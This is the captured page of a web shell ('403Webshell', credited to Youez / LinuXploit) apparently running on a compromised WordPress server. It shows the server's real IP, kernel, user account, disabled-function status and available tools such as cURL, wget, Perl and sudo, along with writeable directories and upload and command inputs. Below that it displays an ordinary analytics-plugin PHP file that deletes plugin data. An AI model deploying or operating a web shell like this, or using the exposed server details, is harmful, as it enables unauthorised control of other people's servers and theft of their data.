403Webshell
Server IP : 35.236.43.222  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux order-form-vm-001 5.10.0-37-cloud-amd64 #1 SMP Debian 5.10.247-1 (2025-12-11) x86_64
User : deploy ( 1002)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/ravel.network/public/wp-content/plugins/independent-analytics/IAWP/AJAX/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/ravel.network/public/wp-content/plugins/independent-analytics/IAWP/AJAX/Delete_Data.php
<?php

namespace IAWP\AJAX;

use IAWP\Capability_Manager;
use IAWP\Database_Manager;
use IAWP\Geo_Database_Manager;
/** @internal */
class Delete_Data extends \IAWP\AJAX\AJAX
{
    protected function action_name() : string
    {
        return 'iawp_delete_data';
    }
    protected function action_callback() : void
    {
        if (!Capability_Manager::can_edit()) {
            \wp_send_json_error([], 400);
        }
        $confirmation = $this->get_field('confirmation');
        $valid = \strtolower($confirmation) == 'delete all data';
        if (!$valid) {
            \wp_send_json_error([], 400);
        }
        $database_manager = new Database_Manager();
        $database_manager->delete_all_data();
        $geo_database_manager = new Geo_Database_Manager();
        $geo_database_manager->delete_database();
        Capability_Manager::reset_capabilities();
        \deactivate_plugins(\IAWP_PLUGIN_FILE);
        \wp_send_json_success(['redirectUrl' => \admin_url()]);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit